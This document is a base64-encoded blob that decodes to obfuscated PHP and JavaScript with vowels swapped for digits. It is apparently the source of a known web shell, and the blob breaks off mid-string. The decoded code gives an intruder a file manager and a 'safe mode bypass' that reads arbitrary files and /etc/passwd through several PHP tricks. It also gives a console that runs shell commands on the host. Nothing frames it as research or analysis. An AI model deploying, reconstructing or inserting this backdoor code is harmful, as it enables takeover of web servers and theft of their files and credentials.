DQp9DQogDQpmM25jdDQybiAxY3Q0Mm5GNGw1c1QyMmxzKCkgew0KICAgIDRmKCA0c3M1dCgkX1BPU1RbJ3A2J10pICkNCiAgICAgICAgJF9QT1NUWydwNiddID0gM3JsZDVjMmQ1KCRfUE9TVFsncDYnXSk7DQogICAgNGYoQCRfUE9TVFsncGEnXT09J2Qyd25sMjFkJykgew0KICAgICAgICA0Zig0c19mNGw1KCRfUE9TVFsncDYnXSkgJiYgNHNfcjUxZDFibDUoJF9QT1NUWydwNiddKSkgew0KICAgICAgICAgICAgMmJfc3QxcnQoIjJiX2d6aDFuZGw1ciIsIHUwOWUpOw0KICAgICAgICAgICAgaDUxZDVyKCJDMm50NW50LUQ0c3AyczR0NDJuOiAxdHQxY2htNW50OyBmNGw1bjFtNT0iLmIxczVuMW01KCRfUE9TVFsncDYnXSkpOw0KICAgICAgICAgICAgNGYgKGYzbmN0NDJuXzV4NHN0cygibTRtNV9jMm50NW50X3R5cDUiKSkgew0KICAgICAgICAgICAgICAgICR0eXA1ID0gQG00bTVfYzJudDVudF90eXA1KCRfUE9TVFsncDYnXSk7DQogICAgICAgICAgICAgICAgaDUxZDVyKCJDMm50NW50LVR5cDU6ICIuJHR5cDUpOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgJGZwID0gQGYycDVuKCRfUE9TVFsncDYnXSwgInIiKTsNCiAgICAgICAgICAgIDRmKCRmcCkgew0KICAgICAgICAgICAgICAgIHdoNGw1KCFAZjUyZigkZnApKQ0KICAgICAgICAgICAgICAgICAgICA1Y2gyIEBmcjUxZCgkZnAsIDYwYXUpOw0KICAgICAgICAgICAgICAgIGZjbDJzNSgkZnApOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9IDVsczU0Zig0c19kNHIoJF9QT1NUWydwNiddKSAmJiA0c19yNTFkMWJsNSgkX1BPU1RbJ3A2J10pKSB7DQogDQogICAgICAgIH0NCiAgICAgICAgNXg0dDsNCiAgICB9DQogICAgNGYoIEAkX1BPU1RbJ3BhJ10gPT0gJ21rZjRsNScgKSB7DQogICAgICAgIDRmKCFmNGw1XzV4NHN0cygkX1BPU1RbJ3A2J10pKSB7DQogICAgICAgICAgICAkZnAgPSBAZjJwNW4oJF9QT1NUWydwNiddLCAndycpOw0KICAgICAgICAgICAgNGYoJGZwKSB7DQogICAgICAgICAgICAgICAgJF9QT1NUWydwYSddID0gIjVkNHQiOw0KICAgICAgICAgICAgICAgIGZjbDJzNSgkZnApOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KICAgIHByNG50SDUxZDVyKCk7DQogICAgNWNoMiAnPGg2PkY0bDUgdDIybHM8L2g2PjxkNHYgY2wxc3M9YzJudDVudD4nOw0KICAgIDRmKCAhZjRsNV81eDRzdHMoQCRfUE9TVFsncDYnXSkgKSB7DQogICAgICAgIDVjaDIgJ0Y0bDUgbjJ0IDV4NHN0cyc7DQogICAgICAgIHByNG50RjIydDVyKCk7DQogICAgICAgIHI1dDNybjsNCiAgICB9DQogICAgJDM0ZCA9IEBwMnM0eF9nNXRwdzM0ZChAZjRsNTJ3bjVyKCRfUE9TVFsncDYnXSkpOw0KICAgICRnNGQgPSBAcDJzNHhfZzV0Z3JnNGQoQGY0bDUyd241cigkX1BPU1RbJ3A2J10pKTsNCiAgICA1Y2gyICc8c3Axbj5OMW01Ojwvc3Axbj4gJy5odG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsncDYnXSkuJyA8c3Axbj5TNHo1Ojwvc3Axbj4gJy4oNHNfZjRsNSgkX1BPU1RbJ3A2J10pP3Y0NXdTNHo1KGY0bDVzNHo1KCRfUE9TVFsncDYnXSkpOictJykuJyA8c3Axbj5QNXJtNHNzNDJuOjwvc3Axbj4gJy52NDV3UDVybXNDMmwycigkX1BPU1RbJ3A2J10pLicgPHNwMW4+T3duNXIvR3IyM3A6PC9zcDFuPiAnLiQzNGRbJ24xbTUnXS4nLycuJGc0ZFsnbjFtNSddLic8YnI+JzsNCiAgICA1Y2gyICc8c3Axbj5DcjUxdDUgdDRtNTo8L3NwMW4+ICcuZDF0NSgnWS1tLWQgSDo0OnMnLGY0bDVjdDRtNSgkX1BPU1RbJ3A2J10pKS4nIDxzcDFuPkFjYzVzcyB0NG01Ojwvc3Axbj4gJy5kMXQ1KCdZLW0tZCBIOjQ6cycsZjRsNTF0NG01KCRfUE9TVFsncDYnXSkpLicgPHNwMW4+TTJkNGZ5IHQ0bTU6PC9zcDFuPiAnLmQxdDUoJ1ktbS1kIEg6NDpzJyxmNGw1bXQ0bTUoJF9QT1NUWydwNiddKSkuJzxicj48YnI+JzsNCiAgICA0ZiggNW1wdHkoJF9QT1NUWydwYSddKSApDQogICAgICAgICRfUE9TVFsncGEnXSA9ICd2NDV3JzsNCiAgICA0ZiggNHNfZjRsNSgkX1BPU1RbJ3A2J10pICkNCiAgICAgICAgJG0gPSAxcnIxeSgnVjQ1dycsICdINGdobDRnaHQnLCAnRDJ3bmwyMWQnLCAnSDV4ZDNtcCcsICdFZDR0JywgJ0NobTJkJywgJ1I1bjFtNScsICdUMjNjaCcpOw0KICAgIDVsczUNCiAgICAgICAgJG0gPSAxcnIxeSgnQ2htMmQnLCAnUjVuMW01JywgJ1QyM2NoJyk7DQogICAgZjJyNTFjaCgkbSAxcyAkdikNCiAgICAgICAgNWNoMiAnPDEgaHI1Zj0jIDJuY2w0Y2s9ImcobjNsbCxuM2xsLG4zbGwsXCcnLnN0cnQybDJ3NXIoJHYpLidcJykiPicuKChzdHJ0MmwydzVyKCR2KT09QCRfUE9TVFsncGEnXSk/JzxiPlsgJy4kdi4nIF08L2I+JzokdikuJzwvMT4gJzsNCiAgICA1Y2gyICc8YnI+PGJyPic7DQogICAgc3c0dGNoKCRfUE9TVFsncGEnXSkgew0KICAgICAgICBjMXM1ICd2NDV3JzoNCiAgICAgICAgICAgIDVjaDIgJzxwcjUgY2wxc3M9bWw2Pic7DQogICAgICAgICAgICAkZnAgPSBAZjJwNW4oJF9QT1NUWydwNiddLCAncicpOw0KICAgICAgICAgICAgNGYoJGZwKSB7DQogICAgICAgICAgICAgICAgd2g0bDUoICFAZjUyZigkZnApICkNCiAgICAgICAgICAgICAgICAgICAgNWNoMiBodG1sc3A1YzQxbGNoMXJzKEBmcjUxZCgkZnAsIDYwYXUpKTsNCiAgICAgICAgICAgICAgICBAZmNsMnM1KCRmcCk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICA1Y2gyICc8L3ByNT4nOw0KICAgICAgICAgICAgYnI1MWs7DQogICAgICAgIGMxczUgJ2g0Z2hsNGdodCc6DQogICAgICAgICAgICA0ZiggNHNfcjUxZDFibDUoJF9QT1NUWydwNiddKSApIHsNCiAgICAgICAgICAgICAgICA1Y2gyICc8ZDR2IGNsMXNzPW1sNiBzdHlsNT0iYjFja2dyMjNuZC1jMmwycjogIzU2NTY1NjtjMmwycjpibDFjazsiPic7DQogICAgICAgICAgICAgICAgJGMyZDUgPSBoNGdobDRnaHRfZjRsNSgkX1BPU1RbJ3A2J10sdHIzNSk7DQogICAgICAgICAgICAgICAgNWNoMiBzdHJfcjVwbDFjNSgxcnIxeSgnPHNwMW4gJywnPC9zcDFuPicpLCAxcnIxeSgnPGYybnQgJywnPC9mMm50PicpLCRjMmQ1KS4nPC9kNHY+JzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICBjMXM1ICdjaG0yZCc6DQogICAgICAgICAgICA0ZiggITVtcHR5KCRfUE9TVFsncG8nXSkgKSB7DQogICAgICAgICAgICAgICAgJHA1cm1zID0gMDsNCiAgICAgICAgICAgICAgICBmMnIoJDQ9c3RybDVuKCRfUE9TVFsncG8nXSktNjskND49MDstLSQ0KQ0KICAgICAgICAgICAgICAgICAgICAkcDVybXMgKz0gKDRudCkkX1BPU1RbJ3BvJ11bJDRdKnAydyg4LCAoc3RybDVuKCRfUE9TVFsncG8nXSktJDQtNikpOw0KICAgICAgICAgICAgICAgIDRmKCFAY2htMmQoJF9QT1NUWydwNiddLCAkcDVybXMpKQ0KICAgICAgICAgICAgICAgICAgICA1Y2gyICdDMW5cJ3QgczV0IHA1cm00c3M0Mm5zITxicj48c2NyNHB0PmQyYzNtNW50Lm1mLnBvLnYxbDM1PSIiOzwvc2NyNHB0Pic7DQogICAgICAgICAgICAgICAgNWxzNQ0KICAgICAgICAgICAgICAgICAgICBkNDUoJzxzY3I0cHQ+ZyhuM2xsLG4zbGwsbjNsbCxuM2xsLCIiKTwvc2NyNHB0PicpOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgNWNoMiAnPGYycm0gMm5zM2JtNHQ9ImcobjNsbCxuM2xsLG4zbGwsbjNsbCx0aDRzLmNobTJkLnYxbDM1KTtyNXQzcm4gZjFsczU7Ij48NG5wM3QgdHlwNT10NXh0IG4xbTU9Y2htMmQgdjFsMzU9IicuczNic3RyKHNwcjRudGYoJyUyJywgZjRsNXA1cm1zKCRfUE9TVFsncDYnXSkpLC11KS4nIj48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Ij4+Ij48L2Yycm0+JzsNCiAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICBjMXM1ICc1ZDR0JzoNCiAgICAgICAgICAgIDRmKCAhNHNfd3I0dDFibDUoJF9QT1NUWydwNiddKSkgew0KICAgICAgICAgICAgICAgIDVjaDIgJ0Y0bDUgNHNuXCd0IHdyNHQ1MWJsNSc7DQogICAgICAgICAgICAgICAgYnI1MWs7DQogICAgICAgICAgICB9DQogICAgICAgICAgICA0ZiggITVtcHR5KCRfUE9TVFsncG8nXSkgKSB7DQogICAgICAgICAgICAgICAgQGY0bDVfcDN0X2MybnQ1bnRzKCRfUE9TVFsncDYnXSwkX1BPU1RbJ3BvJ10pOw0KICAgICAgICAgICAgICAgIDVjaDIgJ1MxdjVkITxicj48c2NyNHB0PmQyYzNtNW50Lm1mLnBvLnYxbDM1PSIiOzwvc2NyNHB0Pic7DQogICAgICAgICAgICB9DQogICAgICAgICAgICA1Y2gyICc8ZjJybSAybnMzYm00dD0iZyhuM2xsLG4zbGwsbjNsbCxuM2xsLHRoNHMudDV4dC52MWwzNSk7cjV0M3JuIGYxbHM1OyI+PHQ1eHQxcjUxIG4xbTU9dDV4dCBjbDFzcz1iNGcxcjUxPic7DQogICAgICAgICAgICAkZnAgPSBAZjJwNW4oJF9QT1NUWydwNiddLCAncicpOw0KICAgICAgICAgICAgNGYoJGZwKSB7DQogICAgICAgICAgICAgICAgd2g0bDUoICFAZjUyZigkZnApICkNCiAgICAgICAgICAgICAgICAgICAgNWNoMiBodG1sc3A1YzQxbGNoMXJzKEBmcjUxZCgkZnAsIDYwYXUpKTsNCiAgICAgICAgICAgICAgICBAZmNsMnM1KCRmcCk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICA1Y2gyICc8L3Q1eHQxcjUxPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0iPj4iPjwvZjJybT4nOw0KICAgICAgICAgICAgYnI1MWs7DQogICAgICAgIGMxczUgJ2g1eGQzbXAnOg0KICAgICAgICAgICAgJGMgPSBAZjRsNV9nNXRfYzJudDVudHMoJF9QT1NUWydwNiddKTsNCiAgICAgICAgICAgICRuID0gMDsNCiAgICAgICAgICAgICRoID0gMXJyMXkoJzAwMDAwMDAwPGJyPicsJycsJycpOw0KICAgICAgICAgICAgJGw1biA9IHN0cmw1bigkYyk7DQogICAgICAgICAgICBmMnIgKCQ0PTA7ICQ0PCRsNW47ICsrJDQpIHsNCiAgICAgICAgICAgICAgICAkaFs2XSAuPSBzcHI0bnRmKCclMGFYJywycmQoJGNbJDRdKSkuJyAnOw0KICAgICAgICAgICAgICAgIHN3NHRjaCAoIDJyZCgkY1skNF0pICkgew0KICAgICAgICAgICAgICAgICAgICBjMXM1IDA6ICAkaFthXSAuPSAnICc7IGJyNTFrOw0KICAgICAgICAgICAgICAgICAgICBjMXM1IDk6ICAkaFthXSAuPSAnICc7IGJyNTFrOw0KICAgICAgICAgICAgICAgICAgICBjMXM1IDYwOiAkaFthXSAuPSAnICc7IGJyNTFrOw0KICAgICAgICAgICAgICAgICAgICBjMXM1IDZvOiAkaFthXSAuPSAnICc7IGJyNTFrOw0KICAgICAgICAgICAgICAgICAgICBkNWYxM2x0OiAkaFthXSAuPSAkY1skNF07IGJyNTFrOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbisrOw0KICAgICAgICAgICAgICAgIDRmICgkbiA9PSBvYSkgew0KICAgICAgICAgICAgICAgICAgICAkbiA9IDA7DQogICAgICAgICAgICAgICAgICAgIDRmICgkNCs2IDwgJGw1bikgeyRoWzBdIC49IHNwcjRudGYoJyUwOFgnLCQ0KzYpLic8YnI+Jzt9DQogICAgICAgICAgICAgICAgICAgICRoWzZdIC49ICc8YnI+JzsNCiAgICAgICAgICAgICAgICAgICAgJGhbYV0gLj0gIlxuIjsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgfQ0KICAgICAgICAgICAgNWNoMiAnPHQxYmw1IGM1bGxzcDFjNG5nPTYgYzVsbHAxZGQ0bmc9aSBiZ2MybDJyPSNhYWFhYWE+PHRyPjx0ZCBiZ2MybDJyPSNvb29vb28+PHNwMW4gc3R5bDU9ImYybnQtdzU0Z2h0OiBuMnJtMWw7Ij48cHI1PicuJGhbMF0uJzwvcHI1Pjwvc3Axbj48L3RkPjx0ZCBiZ2MybDJyPSNhOGE4YTg+PHByNT4nLiRoWzZdLic8L3ByNT48L3RkPjx0ZCBiZ2MybDJyPSNvb29vb28+PHByNT4nLmh0bWxzcDVjNDFsY2gxcnMoJGhbYV0pLic8L3ByNT48L3RkPjwvdHI+PC90MWJsNT4nOw0KICAgICAgICAgICAgYnI1MWs7DQogICAgICAgIGMxczUgJ3I1bjFtNSc6DQogICAgICAgICAgICA0ZiggITVtcHR5KCRfUE9TVFsncG8nXSkgKSB7DQogICAgICAgICAgICAgICAgNGYoIUByNW4xbTUoJF9QT1NUWydwNiddLCAkX1BPU1RbJ3BvJ10pKQ0KICAgICAgICAgICAgICAgICAgICA1Y2gyICdDMW5cJ3QgcjVuMW01ITxicj48c2NyNHB0PmQyYzNtNW50Lm1mLnBvLnYxbDM1PSIiOzwvc2NyNHB0Pic7DQogICAgICAgICAgICAgICAgNWxzNQ0KICAgICAgICAgICAgICAgICAgICBkNDUoJzxzY3I0cHQ+ZyhuM2xsLG4zbGwsIicuM3JsNW5jMmQ1KCRfUE9TVFsncG8nXSkuJyIsbjNsbCwiIik8L3NjcjRwdD4nKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIDVjaDIgJzxmMnJtIDJuczNibTR0PSJnKG4zbGwsbjNsbCxuM2xsLG4zbGwsdGg0cy5uMW01LnYxbDM1KTtyNXQzcm4gZjFsczU7Ij48NG5wM3QgdHlwNT10NXh0IG4xbTU9bjFtNSB2MWwzNT0iJy5odG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsncDYnXSkuJyI+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSI+PiI+PC9mMnJtPic7DQogICAgICAgICAgICBicjUxazsNCiAgICAgICAgYzFzNSAndDIzY2gnOg0KICAgICAgICAgICAgNGYoICE1bXB0eSgkX1BPU1RbJ3BvJ10pICkgew0KICAgICAgICAgICAgICAgICR0NG01ID0gc3RydDJ0NG01KCRfUE9TVFsncG8nXSk7DQogICAgICAgICAgICAgICAgNGYoJHQ0bTUpIHsNCiAgICAgICAgICAgICAgICAgICAgNGYoQHQyM2NoKCRfUE9TVFsncDYnXSwkdDRtNSwkdDRtNSkpDQogICAgICAgICAgICAgICAgICAgICAgICBkNDUoJzxzY3I0cHQ+ZyhuM2xsLG4zbGwsbjNsbCxuM2xsLCIiKTwvc2NyNHB0PicpOw0KICAgICAgICAgICAgICAgICAgICA1bHM1IHsNCiAgICAgICAgICAgICAgICAgICAgICAgIDVjaDIgJ0YxNGwhPHNjcjRwdD5kMmMzbTVudC5tZi5wby52MWwzNT0iIjs8L3NjcjRwdD4nOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgfSA1bHM1IDVjaDIgJ0IxZCB0NG01IGYycm0xdCE8c2NyNHB0PmQyYzNtNW50Lm1mLnBvLnYxbDM1PSIiOzwvc2NyNHB0Pic7DQogICAgICAgICAgICB9DQogICAgICAgICAgICA1Y2gyICc8ZjJybSAybnMzYm00dD0iZyhuM2xsLG4zbGwsbjNsbCxuM2xsLHRoNHMudDIzY2gudjFsMzUpO3I1dDNybiBmMWxzNTsiPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT10MjNjaCB2MWwzNT0iJy5kMXQ1KCJZLW0tZCBIOjQ6cyIsIEBmNGw1bXQ0bTUoJF9QT1NUWydwNiddKSkuJyI+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSI+PiI+PC9mMnJtPic7DQogICAgICAgICAgICBicjUxazsNCiAgICAgICAgYzFzNSAnbWtmNGw1JzoNCiAgICAgICAgICAgICANCiAgICAgICAgICAgIGJyNTFrOw0KICAgIH0NCiAgICA1Y2gyICc8L2Q0dj4nOw0KICAgIHByNG50RjIydDVyKCk7DQp9DQogDQpmM25jdDQybiAxY3Q0Mm5TMWY1TTJkNSgpIHsNCiAgICAkdDVtcD0nJzsNCiAgICAyYl9zdDFydCgpOw0KICAgIHN3NHRjaCgkX1BPU1RbJ3A2J10pIHsNCiAgICAgICAgYzFzNSA2Og0KICAgICAgICAgICAgJHQ1bXA9QHQ1bXBuMW0oJHQ1c3QsICdjeCcpOw0KICAgICAgICAgICAgNGYoQGMycHkoImMybXByNXNzLnpsNGI6Ly8iLiRfUE9TVFsncGEnXSwgJHQ1bXApKXsNCiAgICAgICAgICAgICAgICA1Y2gyIEBmNGw1X2c1dF9jMm50NW50cygkdDVtcCk7DQogICAgICAgICAgICAgICAgM25sNG5rKCR0NW1wKTsNCiAgICAgICAgICAgIH0gNWxzNQ0KICAgICAgICAgICAgICAgIDVjaDIgJ1MycnJ5Li4uIEMxblwndCAycDVuIGY0bDUnOw0KICAgICAgICAgICAgYnI1MWs7DQogICAgICAgIGMxczUgYToNCiAgICAgICAgICAgICRmNGw1cyA9IGdsMmIoJF9QT1NUWydwYSddLicqJyk7DQogICAgICAgICAgICA0ZiggNHNfMXJyMXkoJGY0bDVzKSApDQogICAgICAgICAgICAgICAgZjJyNTFjaCAoJGY0bDVzIDFzICRmNGw1bjFtNSkNCiAgICAgICAgICAgICAgICAgICAgNWNoMiAkZjRsNW4xbTUuIlxuIjsNCiAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICBjMXM1IG86DQogICAgICAgICAgICAkY2ggPSBjM3JsXzRuNHQoImY0bDU6Ly8iLiRfUE9TVFsncGEnXS4iXHgwMCIuU0VMRl9QQVRIKTsNCiAgICAgICAgICAgIGMzcmxfNXg1YygkY2gpOw0KICAgICAgICAgICAgYnI1MWs7DQogICAgICAgIGMxczUgdToNCiAgICAgICAgICAgIDRuNF9yNXN0MnI1KCJzMWY1X20yZDUiKTsNCiAgICAgICAgICAgIDRuNF9yNXN0MnI1KCIycDVuX2IxczVkNHIiKTsNCiAgICAgICAgICAgIDRuY2wzZDUoJF9QT1NUWydwYSddKTsNCiAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICBjMXM1IGk6DQogICAgICAgICAgICBmMnIoOyRfUE9TVFsncGEnXSA8PSAkX1BPU1RbJ3BvJ107JF9QT1NUWydwYSddKyspIHsNCiAgICAgICAgICAgICAgICAkMzRkID0gQHAyczR4X2c1dHB3MzRkKCRfUE9TVFsncGEnXSk7DQogICAgICAgICAgICAgICAgNGYgKCQzNGQpDQogICAgICAgICAgICAgICAgICAgIDVjaDIgajI0bignOicsJDM0ZCkuIlxuIjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICBjMXM1IGU6DQogICAgICAgICAgICA0ZighZjNuY3Q0Mm5fNXg0c3RzKCc0bTFwXzJwNW4nKSlicjUxazsNCiAgICAgICAgICAgICRzdHI1MW0gPSA0bTFwXzJwNW4oJF9QT1NUWydwYSddLCAiIiwgIiIpOw0KICAgICAgICAgICAgNGYgKCRzdHI1MW0gPT0gRkFMU0UpDQogICAgICAgICAgICAgICAgYnI1MWs7DQogICAgICAgICAgICA1Y2gyIDRtMXBfYjJkeSgkc3RyNTFtLCA2KTsNCiAgICAgICAgICAgIDRtMXBfY2wyczUoJHN0cjUxbSk7DQogICAgICAgICAgICBicjUxazsNCiAgICB9DQogICAgJHQ1bXAgPSAyYl9nNXRfY2w1MW4oKTsNCiAgICBwcjRudEg1MWQ1cigpOw0KICAgIDVjaDIgJzxoNj5TMWY1IG0yZDUgYnlwMXNzPC9oNj48ZDR2IGNsMXNzPWMybnQ1bnQ+JzsNCiAgICA1Y2gyICc8c3Axbj5DMnB5IChyNTFkIGY0bDUpPC9zcDFuPjxmMnJtIDJuczNibTR0PVwnZyhuM2xsLG4zbGwsIjYiLHRoNHMucDFyMW0udjFsMzUpO3I1dDNybiBmMWxzNTtcJz48NG5wM3QgdHlwNT10NXh0IG4xbTU9cDFyMW0+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSI+PiI+PC9mMnJtPjxicj48c3Axbj5HbDJiIChsNHN0IGQ0cik8L3NwMW4+PGYycm0gMm5zM2JtNHQ9XCdnKG4zbGwsbjNsbCwiYSIsdGg0cy5wMXIxbS52MWwzNSk7cjV0M3JuIGYxbHM1O1wnPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1wMXIxbT48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Ij4+Ij48L2Yycm0+PGJyPjxzcDFuPkMzcmwgKHI1MWQgZjRsNSk8L3NwMW4+PGYycm0gMm5zM2JtNHQ9XCdnKG4zbGwsbjNsbCwibyIsdGg0cy5wMXIxbS52MWwzNSk7cjV0M3JuIGYxbHM1O1wnPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1wMXIxbT48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Ij4+Ij48L2Yycm0+PGJyPjxzcDFuPkluNF9yNXN0MnI1IChyNTFkIGY0bDUpPC9zcDFuPjxmMnJtIDJuczNibTR0PVwnZyhuM2xsLG4zbGwsInUiLHRoNHMucDFyMW0udjFsMzUpO3I1dDNybiBmMWxzNTtcJz48NG5wM3QgdHlwNT10NXh0IG4xbTU9cDFyMW0+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSI+PiI+PC9mMnJtPjxicj48c3Axbj5QMnM0eF9nNXRwdzM0ZCAoIlI1MWQiIC81dGMvcDFzc3dkKTwvc3Axbj48dDFibDU+PGYycm0gMm5zM2JtNHQ9XCdnKG4zbGwsbjNsbCwiaSIsdGg0cy5wMXIxbTYudjFsMzUsdGg0cy5wMXIxbWEudjFsMzUpO3I1dDNybiBmMWxzNTtcJz48dHI+PHRkPkZyMm08L3RkPjx0ZD48NG5wM3QgdHlwNT10NXh0IG4xbTU9cDFyMW02IHYxbDM1PTA+PC90ZD48L3RyPjx0cj48dGQ+VDI8L3RkPjx0ZD48NG5wM3QgdHlwNT10NXh0IG4xbTU9cDFyMW1hIHYxbDM1PTYwMDA+PC90ZD48L3RyPjwvdDFibDU+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSI+PiI+PC9mMnJtPjxicj48YnI+PHNwMW4+SW0xcF8ycDVuIChyNTFkIGY0bDUpPC9zcDFuPjxmMnJtIDJuczNibTR0PVwnZyhuM2xsLG4zbGwsImUiLHRoNHMucDFyMW0udjFsMzUpO3I1dDNybiBmMWxzNTtcJz48NG5wM3QgdHlwNT10NXh0IG4xbTU9cDFyMW0+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSI+PiI+PC9mMnJtPic7DQogICAgNGYoJHQ1bXApDQogICAgICAgIDVjaDIgJzxwcjUgY2wxc3M9Im1sNiIgc3R5bDU9Im0xcmc0bi10MnA6aXB4IiA0ZD0iTzN0cDN0Ij4nLiR0NW1wLic8L3ByNT4nOw0KICAgIDVjaDIgJzwvZDR2Pic7DQogICAgcHI0bnRGMjJ0NXIoKTsNCn0NCiANCmYzbmN0NDJuIDFjdDQybkMybnMybDUoKSB7DQogICAgNGYoNHNzNXQoJF9QT1NUWycxajF4J10pKSB7DQogICAgICAgICRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nMWoxeCddID0gdHIzNTsNCiAgICAgICAgMmJfc3QxcnQoKTsNCiAgICAgICAgNWNoMiAiZDJjM201bnQuY2YuY21kLnYxbDM1PScnO1xuIjsNCiAgICAgICAgJHQ1bXAgPSBANGMybnYoJF9QT1NUWydjaDFyczV0J10sICdVVEYtOCcsIDFkZGNzbDFzaDVzKCJcbiQgIi4kX1BPU1RbJ3A2J10uIlxuIi41eCgkX1BPU1RbJ3A2J10pLCJcblxyXHRcXCdcMCIpKTsNCiAgICAgICAgNGYocHI1Z19tMXRjaCgiIS4qY2RccysoW147XSspJCEiLCRfUE9TVFsncDYnXSwkbTF0Y2gpKSAgICB7DQogICAgICAgICAgICA0ZihAY2hkNHIoJG0xdGNoWzZdKSkgew0KICAgICAgICAgICAgICAgICRHTE9CQUxTWydjd2QnXSA9IEBnNXRjd2QoKTsNCiAgICAgICAgICAgICAgICA1Y2gyICJkMmMzbTVudC5tZi5jLnYxbDM1PSciLiRHTE9CQUxTWydjd2QnXS4iJzsiOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIDVjaDIgImQyYzNtNW50LmNmLjIzdHAzdC52MWwzNSs9JyIuJHQ1bXAuIic7IjsNCiAgICAgICAgNWNoMiAiZDJjM201bnQuY2YuMjN0cDN0LnNjcjJsbFQycCA9IGQyYzNtNW50LmNmLjIzdHAzdC5zY3IybGxINTRnaHQ7IjsNCiAgICAgICAgJHQ1bXAgPSAyYl9nNXRfY2w1MW4oKTsNCiAgICAgICAgNWNoMiBzdHJsNW4oJHQ1bXApLCAiXG4iLCAkdDVtcDsNCiAgICAgICAgNXg0dDsNCiAgICB9DQogICAgcHI0bnRINTFkNXIoKTsNCj8+DQo8c2NyNHB0Pg0KNGYodzRuZDJ3LkV2NW50KSB3NG5kMncuYzFwdDNyNUV2NW50cyhFdjVudC5LRVlET1dOKTsNCnYxciBjbWRzID0gbjV3IEFycjF5KCIiKTsNCnYxciBjM3IgPSAwOw0KZjNuY3Q0Mm4ga3AoNSkgew0KICAgIHYxciBuID0gKHc0bmQydy5FdjVudCkgPyA1LndoNGNoIDogNS5rNXlDMmQ1Ow0KICAgIDRmKG4gPT0gbzgpIHsNCiAgICAgICAgYzNyLS07DQogICAgICAgIDRmKGMzcj49MCkNCiAgICAgICAgICAgIGQyYzNtNW50LmNmLmNtZC52MWwzNSA9IGNtZHNbYzNyXTsNCiAgICAgICAgNWxzNQ0KICAgICAgICAgICAgYzNyKys7DQogICAgfSA1bHM1IDRmKG4gPT0gdTApIHsNCiAgICAgICAgYzNyKys7DQogICAgICAgIDRmKGMzciA8IGNtZHMubDVuZ3RoKQ0KICAgICAgICAgICAgZDJjM201bnQuY2YuY21kLnYxbDM1ID0gY21kc1tjM3JdOw0KICAgICAgICA1bHM1DQogICAgICAgICAgICBjM3ItLTsNCiAgICB9DQp9DQpmM25jdDQybiAxZGQoY21kKSB7DQogICAgY21kcy5wMnAoKTsNCiAgICBjbWRzLnAzc2goY21kKTsNCiAgICBjbWRzLnAzc2goIiIpOw0KICAgIGMzciA9IGNtZHMubDVuZ3RoLTY7DQp9DQo8L3NjcjRwdD4NCjw/cGhwDQogICAgNWNoMiAnPGg2PkMybnMybDU8L2g2PjxkNHYgY2wxc3M9YzJudDVudD48ZjJybSBuMW01PWNmIDJuczNibTR0PSI0ZihkMmMzbTVudC5jZi5jbWQudjFsMzU9PVwnY2w1MXJcJyl7ZDJjM201bnQuY2YuMjN0cDN0LnYxbDM1PVwnXCc7ZDJjM201bnQuY2YuY21kLnYxbDM1PVwnXCc7cjV0M3JuIGYxbHM1O30xZGQodGg0cy5jbWQudjFsMzUpOzRmKHRoNHMuMWoxeC5jaDVjazVkKXsxKG4zbGwsbjNsbCx0aDRzLmNtZC52MWwzNSk7fTVsczV7ZyhuM2xsLG4zbGwsdGg0cy5jbWQudjFsMzUpO30gcjV0M3JuIGYxbHM1OyI+PHM1bDVjdCBuMW01PTFsNDFzPic7DQogICAgZjJyNTFjaCgkR0xPQkFMU1snMWw0MXM1cyddIDFzICRuID0+ICR2KSB7DQogICAgICAgIDRmKCR2ID09ICcnKSB7DQogICAgICAgICAgICA1Y2gyICc8MnB0Z3IyM3AgbDFiNWw9Ii0nLmh0bWxzcDVjNDFsY2gxcnMoJG4pLictIj48LzJwdGdyMjNwPic7DQogICAgICAgICAgICBjMm50NG4zNTsNCiAgICAgICAgfQ0KICAgICAgICA1Y2gyICc8MnB0NDJuIHYxbDM1PSInLmh0bWxzcDVjNDFsY2gxcnMoJHYpLiciPicuJG4uJzwvMnB0NDJuPic7DQogICAgfQ0KICAgIDRmKDVtcHR5KCRfUE9TVFsnMWoxeCddKSYmITVtcHR5KCRfUE9TVFsncDYnXSkpDQogICAgICAgICRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nMWoxeCddID0gZjFsczU7DQogICAgNWNoMiAnPC9zNWw1Y3Q+PDRucDN0IHR5cDU9YjN0dDJuIDJuY2w0Y2s9IjFkZChkMmMzbTVudC5jZi4xbDQxcy52MWwzNSk7NGYoZDJjM201bnQuY2YuMWoxeC5jaDVjazVkKXsxKG4zbGwsbjNsbCxkMmMzbTVudC5jZi4